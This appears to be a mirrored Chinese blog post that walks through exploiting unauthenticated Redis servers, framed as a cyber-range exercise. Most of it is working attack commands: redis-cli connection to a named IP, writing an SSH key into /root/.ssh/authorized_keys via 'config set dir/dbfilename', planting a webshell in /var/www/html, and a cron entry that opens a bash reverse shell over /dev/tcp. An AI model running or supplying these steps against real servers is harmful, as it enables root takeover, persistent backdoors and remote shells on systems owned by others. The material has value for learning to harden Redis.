92

Redis未授权访问

 5 years ago
source link: https://fl4g.cn/2019/02/27/Redis未授权访问/?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Redis默认配置未配置密码,如果Redis以root用户运行,攻击者可以给root账号写入SSH公钥文件,直接通过SSH免密登录服务器。Redis默认端口为6379端口。若此端口未限制公网访问,会导致Redis服务暴露公网,造成未授权访问。

0x02 攻击手段

连接测试

已知网络靶场IP为219.153.49.228,Redis端 口为47234,提供了http端口为41481。使用redis客户端进行连接尝试:

./redis-cli -h 219.153.49.228 -p 47234

VjuYNf7.png!web

本地生成公私钥

若Redis以root用户运行,可以直接将本地生成的公钥导入到/root/.ssh/authorized.keys文件中实现免密登录。

ssh-keygen -t rsa

qm2YfqB.png!web

公钥写入

由于网络靶场写入/root/.ssh/的权限受限,因此以之前对公司内网测试获取的一台Redis服务器为例。

先将公钥写入文件:

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > h.txt

6R3iquN.png!web

将h.txt的内容写入到redis服务器key为test对应的value中。

cat h.txt | /usr/redis/./redis-cli -h xxx.xxx.xxx.xxx -p 6389 -x set test

vyyIvyy.png!web

设置redis的dbfilename路径为/root/.ssh/authorized_keys,并保存。

config set dir /root/.ssh

config set dbfilename authorized_keys

save

3uMFzyY.png!web

直接使用ssh访问服务器查看权限和文件,可见为root权限用户。

2emA3qM.png!web

写入webshell

网络靶场写入/root/.ssh/的权限受限,且存在php站点,因此尝试写入webshell。

设置Redis备份目录为php站点目录:/var/www/html/,文件名任意。

nMJFzmq.png!web

使用浏览器访问webshell,可以正常访问。

7Vb6j2M.png!web

写入定时任务

同理,将Redis备份目录改为/var/spool/cron,使用nc进行监听反弹shell。

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/ip_addr/port 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK